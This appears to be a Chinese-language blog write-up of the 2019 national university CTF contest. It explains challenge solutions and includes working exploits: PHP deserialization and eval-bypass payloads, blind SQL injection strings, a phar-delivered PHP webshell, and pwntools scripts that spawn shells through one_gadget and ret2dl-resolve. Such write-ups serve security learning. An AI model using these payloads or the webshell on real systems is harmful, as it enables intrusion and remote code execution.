Xi4or0uji's blog

2019 全国大学生信息安全竞赛 writeup

字数统计: 3.3k阅读时长: 15 min
2019/04/22 Share

上周末跟队友打了一场国赛,题目质量还是不错的,记录下wp

misc

签到

摄像头检测到三个人头就行了

saleae

百度logicdata,发现有个工具,打开就是一些波形,直接对着时钟位读二进制转成ascii码就能出flag了
flag{12071397-19d1-48e6-be8c-784b89a95e07}
然后无敌头铁王第二天发现SPI通道直接就会转字符了,第一天手撕是真的头铁……

usbasp

还是SPI通道,将标准位调高就直接出flag了

web

justsoso

一开始伪协议拿到源码,然后就是反序列化利用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<html>
<?php
index.php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>
hint.php
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>

可以看到Handle类有个__destruct函数可以触发getFlag函数,但是__wakeup函数会将所有东西清空,这里改下属性个数就能绕过,参考SugerCRM漏洞,然后getFlag函数的条件可以用指针绕过,以前安恒的月赛也考过,最后flag的匹配可以利用parse_url漏洞,三个斜杠就能绕过了
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token = &$this->token_flag;
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag){
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}

$h = new Handle(new Flag('flag.php'));
echo urlencode(serialize($h));
//$c = "O:6:\"Handle\":3:{s:14:\"Handlehandle\";O:4:\"Flag\":3:{s:4:\"file\";s:8:\"flag.php\";s:5:\"token\";N;s:10:\"token_flag\";R:4;}}";

全宇宙最简单的sql

这道题是报错盲注+mysql load data infile漏洞,比赛时没有做出来还是挺可惜的
通过测试网站我们可以知道登陆密码错误的时候会回显登陆失败,如果语句有错的话就会回显数据库操作失败,但是这里有个坑点,可能是因为上了知道创宇的waf所以脚本盲注会出锅?debug一个下午最后发现用burp代理是能跑出来的,攻击语句是' and (select locate('a',(select database()),1)=1)*999*pow(999,102)%23
攻击出数据库是ctf,因为or被过滤了,所以不能直接爆出表名,想Innodb引擎注入发现权限不够,一度卡了很久,最后猜测表名是user,因为显示的是用户信息,然后,撞对了……
获得了表名以后就是不知道列名的联合注入了,语句:' and (select locate('a',(select2from (select 1,2 union select * from user)a limit 1,1),1)=1)*999*pow(999,102)%23

最后就能爆出来用户名是admin,密码是F1AG@1s_at_/fll1llag_h3r3,这里又来一个坑点,可能服务器不是很好,都不知道跑到哪去了,因此大小写错乱,然后就做不下去了…….算是长个教训吧,以后用ascii码去跑,坑死我了……
接下来登录进去就是mysql load data infile漏洞,改下github的脚本就能getflag了

love_math

这道题一进去就发现很像网鼎杯的一道题,但是fuzz了一下发现字母全部过滤了???然后,莫得了
留个坑等大佬们wp出来了学完补
还是太菜了,看见有个calc.php却没想到去无参访问一下,结果就拿不到源码卡死了,甚至还以为是ssti……
这里贴出源码进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', 't', 'r', 'n','\'', '"', '`', '[', ']'];
foreach ($blacklist as $blackitem) {
if (preg_match('/'. $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_x7f-xff][a-zA-Z_0-9x7f-xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

可以看到他会限制输入长度小于80,然后匹配黑名单,接着就是找函数,只有白名单的函数才可以继续执行
到了这里似乎无解,查看白名单发现有个base_convert函数,进制转换,思考一下,到了>=36进制是可以将字母显示出来的,我们可以考虑一下通过进制转换去getshell
接下来就是找个在线网站转一下进制然后直接就行

1
2
3
4
#phpinfo
base_convert(55490343972,10,36)()
#system('ls')
base_convert(1751504350,10,36)(base_convert(784,10,36))

获得了目录以后,就是最重要的读文件了,这里我们需要引入其他参数去打破字符长度的限制
最后payload

1
2
3
//这里利用了{}去替代[]进行数组索引
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac flag.php
//相当于:$pi=_GET;($_GET[pi])($_GET[abs])

RefSpace

一进去可以看到一个文件上传的点?route=app/index,利用伪协议将一堆文件读出来,index.php,app/flag.php,app/index.php,backup.zip,然后robots.txt还有一个文件上传的点Up10aD.php ,测试一下发现只能上传jpg和gif文件,尝试了一下截断,一直不成功,最后只能结合文件包含的点和phar协议去进行getshell

1
2
$p = new PharData(dirname(__FILE__).'/phartest.aaa', 0,'phartest',Phar::ZIP) ;
$p->addFromString('testfile.php', '<?php phpinfo(); eval($_POST[x])?>');

将生成的文件改下后缀发上去就能成功getshell了,将所有文件一把梭全部下下来,看下openbase_dir有个ctf目录,继续读看见有个sdk.phpixed.lin

下下来…就做不下了…菜鸡逆向巨差…只知道他是一个sha1加密,有个flag.txt的密文,但是直接在线解密是不可能的,sdk.php已经提示是商业加密了……
赛后问了大佬,说可以用反射去做,还是太菜了……

1
2
3
4
5
6
7
use interesting\FlagSDK; 
$sdk = new FlagSDK();
$ref = new ReflectionClass($sdk);
$instance = $ref->newInstance();
$method = $ref->getmethod("getHash");
$method->setAccessible(true);
echo $method->invoke($instance);

然后就能拿到getHash出来的值,接下来利用不同的命名空间达到重新定义函数的目的(就是在函数同名的时候,系统会优先调用本命名空间里面的同名函数)

1
2
3
4
5
6
namespace interesting;
function sha1($key){
return "a356bc8d9d3e69beea3c15d40995f395425e7813";
}
$sdk = new \interesting\FlagSDK();
var_dump($sdk->verify("a"));

反射这波利用还是很秀的,涨姿势了2333

crypto

puzzle

一道集合了脑洞高数和大物的题

1
2
3
4
5
6
7
8
9
10
11
12
Q0解第一个4元4次方程得到:
a1 = 0xfa6
a2 = 0xbed
a3 = 0x9c7
a4 = 0xa00
整合下:fa6bed9c7a00
Q1: 解出0x1924dd7
Q2:手撕算积分:0x1e14
Q3: 磁通手撕算出: 0x48d0
Q4: 三重积分手撕:0x9d80
组合在一起:
flag{01924dd7-1e14-48d0-9d80-fa6bed9c7a00}

warmup

这道题是AES CTR加密,这个加密方式有个缺陷,可以主动攻击,改明文,如果后续的内容不受影响,就能进行攻击
连接服务器,首先我们先什么都不输入,获得第一条密文c1,就是flag的密文可知密文是48个字节
接下来输入16个1,获得第二条密文c2
然后32个1,得到第三条密文c3
最后48个1,得到第四条密文c4
接下来就是c1分段对应异或得到明文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#null
s1 = "199b7d9256bdcaeff34ee57ed2d6c9646bd185e48e716c5385ab36ff820de3928a8844bc0b48fe93b2002c1c5a4d2c2f"
#16*1
s2 = "4ec62dc41cb5cbe8f11ee679d4caca606cd8c9b7c0296f488fa932ac9816e3c4db880bb95a4bffdbb21e1c7f717d184a5e960812355a6570a55b25536565f0d9"
#32*1
s3 = "4ec62dc41cb5cbe8f11ee679d4caca603b8599e18a216e4f8df931ab9e0ae0c0dc8147ea1413fcc0b81c182c6b66181c0f96471764596438a54515304e55c4bc41c88702fc6d06f14f2d9e8ef115d2e7"
#64*1
s4 = "4ec62dc41cb5cbe8f11ee679d4caca603b8599e18a216e4f8df931ab9e0ae0c08bdc17bc5e1bfdc7ba4c1b2b6d7a1b18089f0b442a016723af471163544ec4ea10c8c807ad6e07b94f33aeedda25e682862a97e2c075dc4013f1f1a836ac9c86"
#cut
c1 = s1[:32]
c2 = s1[32:64]
c3 = s1[64:]
b1 = s2[:32]
b2 = s3[32:64]
b3 = s4[64:96]

a1 = [0x19, 0x9b, 0x7d, 0x92, 0x56, 0xbd, 0xca, 0xef, 0xf3, 0x4e, 0xe5, 0x7e, 0xd2, 0xd6, 0xc9, 0x64]
a2 = [0x6b, 0xd1, 0x85, 0xe4, 0x8e, 0x71, 0x6c, 0x53, 0x85, 0xab, 0x36, 0xff, 0x82, 0x0d, 0xe3, 0x92]
a3 = [0x8a, 0x88, 0x44, 0xbc, 0x0b, 0x48, 0xfe, 0x93, 0xb2, 0x00, 0x2c, 0x1c, 0x5a, 0x4d, 0x2c, 0x2f]
b = [0x4e, 0xc6, 0x2d, 0xc4, 0x1c, 0xb5, 0xcb, 0xe8, 0xf1, 0x1e, 0xe6, 0x79, 0xd4, 0xca, 0xca, 0x60]
c = [0x3b, 0x85, 0x99, 0xe1, 0x8a, 0x21, 0x6e, 0x4f, 0x8d, 0xf9, 0x31, 0xab, 0x9e, 0x0a, 0xe0, 0xc0]
d = [0x8b, 0xdc, 0x17, 0xbc, 0x5e, 0x1b, 0xfd, 0xc7, 0xba, 0x4c, 0x1b, 0x2b, 0x6d, 0x7a, 0x1b, 0x18]

# for i in range(16):
# k = c3[i*2:i*2+2]
# print "0x"+k+",",

for i in range(16):
print chr(a1[i]^b[i]^ord('1')),

for i in range(16):
print chr(a2[i]^c[i]^ord('1')),

for i in range(16):
print chr(a3[i]^d[i]^ord('1')),

pwn

your_pwn


64位程序 ,保护全开

IDA分析可以发现程序存在一个任意地址读和任意地址写的漏洞,所以就可以泄漏出真实地址,然后onegadget一把梭搞定。
因为泄漏与写入都是每次一个字节的,所以需要泄漏6次拼出真实地址,进而循环6次写入onegadget,不过for循环有41次,完全足够。

gdb调试得到__libc_start_main+240到v4[0]的偏移

循环6次得到__libc_start_main的地址

算出偏移得到onegadget地址

同样的方法得到返回地址于是v4[0]的偏移

循环6次写到onegadget,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#coding:utf-8
from pwn import *
context.log_level = 'debug'
#内存地址随机化
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
p = process('./pwn')
# p = remote("1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com","57856")
elf = ELF('./pwn')
libc = elf.libc
p.recvuntil('name:')
p.sendline('n0va')

p.recvuntil('input index\n')
p.sendline('632')
p.recvuntil('now value(hex) ')
a = int(p.recv(2),16)
print hex(a)
p.recvuntil('input new value\n')
p.sendline('1')

p.recvuntil('input index\n')
p.sendline('633')
p.recvuntil('now value(hex) ')
b = (int(p.recvuntil('\n')[:-1],16))&0xff
print hex(b)
p.recvuntil('input new value\n')
p.sendline('1')

p.recvuntil('input index\n')
p.sendline('634')
p.recvuntil('now value(hex) ')
c = int(p.recvuntil('\n')[:-1],16)&0xff
print hex(c)
p.recvuntil('input new value\n')
p.sendline('1')

p.recvuntil('input index\n')
p.sendline('635')
p.recvuntil('now value(hex) ')
d = int(p.recvuntil('\n')[:-1],16)&0xff
print hex(d)
p.recvuntil('input new value\n')
p.sendline('1')

p.recvuntil('input index\n')
p.sendline('636')
p.recvuntil('now value(hex) ')
e = int(p.recvuntil('\n')[:-1],16)&0xff
print hex(e)
p.recvuntil('input new value\n')
p.sendline('1')

p.recvuntil('input index\n')
p.sendline('637')
p.recvuntil('now value(hex) ')
f = int(p.recvuntil('\n')[:-1],16)&0xff
print hex(f)
p.recvuntil('input new value\n')
p.sendline('1')

print hex(a),hex(b),hex(c),hex(d),hex(e),hex(f)
libc_start_main = hex(f)[2:] + hex(e)[2:] + hex(d)[2:] + hex(c)[2:] + hex(b)[2:] + hex(a)[2:]
libc_main = int(libc_start_main,16)-240
print hex(int(libc_start_main,16))
print hex(libc_main)
offset = libc_main - libc.symbols['__libc_start_main']
one_gadget = offset + 0x45216
print "one_gadget--> " + hex(one_gadget)
# system_addr = libc.symbols['system'] + offset
# binsh_addr = libc.search("/bin/sh").next() + offset
# print "system_addr--> " + hex(system_addr)
# print "binsh_addr--> " + hex(binsh_addr)

a = one_gadget&0xff
b = one_gadget>>8&0xff
c = one_gadget>>16&0xff
d = one_gadget>>24&0xff
e = one_gadget>>32&0xff
f = one_gadget>>40&0xff
print hex(a),hex(b),hex(c),hex(d),hex(e),hex(f)
p.recvuntil('input index\n')
p.sendline('344')
p.recvuntil('input new value\n')
p.sendline(str(a))

p.recvuntil('input index\n')
p.sendline('345')
p.recvuntil('input new value\n')
p.sendline(str(b))

p.recvuntil('input index\n')
p.sendline('346')
p.recvuntil('input new value\n')
p.sendline(str(c))

p.recvuntil('input index\n')
p.sendline('347')
p.recvuntil('input new value\n')
p.sendline(str(d))

p.recvuntil('input index\n')
p.sendline('348')
p.recvuntil('input new value\n')
p.sendline(str(e))

p.recvuntil('input index\n')
p.sendline('349')
p.recvuntil('input new value\n')
p.sendline(str(f))

p.recvuntil('input index\n')
p.sendline('-4')
p.sendline('40')
p.recvuntil('do you want continue(yes/no)? \n')
p.sendline('no')
p.interactive()

baby_pwn


32位程序 ,只开了NX,打开IDA

有一个栈溢出漏洞,没有后门函数,其它的也没有什么可用的,这么干净的栈溢出很容易就想到了runtime_resolve。exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#-*-coding:utf-8-*-
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')
# p = process('./pwn')
p = remote("da61f2425ce71e72c1ef02104c3bfb69.kr-lab.com","33865")
elf = ELF('./pwn')
read_plt = elf.plt['read']
alarm_got = elf.got['alarm']
# write_plt = elf.plt['write']
bss_addr = elf.bss()
bss_stage1 = 0x800 + bss_addr
bss_stage2 = 80 + bss_stage1
ppp_ret = 0x080485d9
pop_ebp = 0x080485db
leave_ret = 0x08048448
#read(0,bss_addr,100)
payload = 'a'*44
payload += p32(read_plt)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(bss_stage1)
payload += p32(100)
payload += p32(pop_ebp)
payload += p32(bss_stage1)
payload += p32(leave_ret)
# p.recvuntil('Welcome to XDCTF2015~!\n')
# gdb.attach(p,"b *0x08048546")
# pause()
p.sendline(payload)
cmd = '/bin/sh'
plt_0 = 0x8048380
rel_plt = 0x804833c
index_offset = (bss_stage1+28) - rel_plt
# write_got = elf.got['write']
dynsym = 0x080481dc #objdump -s -j .dynsym bof
dynstr = 0x804827c #objdump -s -j .dynstr bof
fake_sym_addr = bss_stage1+36
align = 0x10 -((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym<<8) | 0x7
fack_reloc = p32(alarm_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr
st_name = (fake_sym_addr + 0x10) - dynstr #加0x10是因为Elf32_Sym的大小为0x10
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
payload = 'aaaa'
payload += p32(plt_0)
payload += p32(index_offset)
payload += 'aaaa'
payload += p32(bss_stage2)
payload += 'aaaaaaaa'
payload += fack_reloc #(bss_stage1+28)的位置
payload += 'b'*align
payload += fake_sym #(bss_stage1+36)的位置
payload += "system\x00"
payload += 'a'*(80-len(payload))
payload += cmd + '\x00'
# payload += 'a'*(100-len(payload))
p.sendline(payload)
p.interactive()

re

easygo

jmp start_0的下一条汇编下断,r停下在寄存器里就能看到flag了

CATALOG
  1. 1. misc
    1. 1.1. 签到
    2. 1.2. saleae
    3. 1.3. usbasp
  2. 2. web
    1. 2.1. justsoso
    2. 2.2. 全宇宙最简单的sql
    3. 2.3. love_math
    4. 2.4. RefSpace
  3. 3. crypto
    1. 3.1. puzzle
    2. 3.2. warmup
  4. 4. pwn
    1. 4.1. your_pwn
    2. 4.2. baby_pwn
  5. 5. re
    1. 5.1. easygo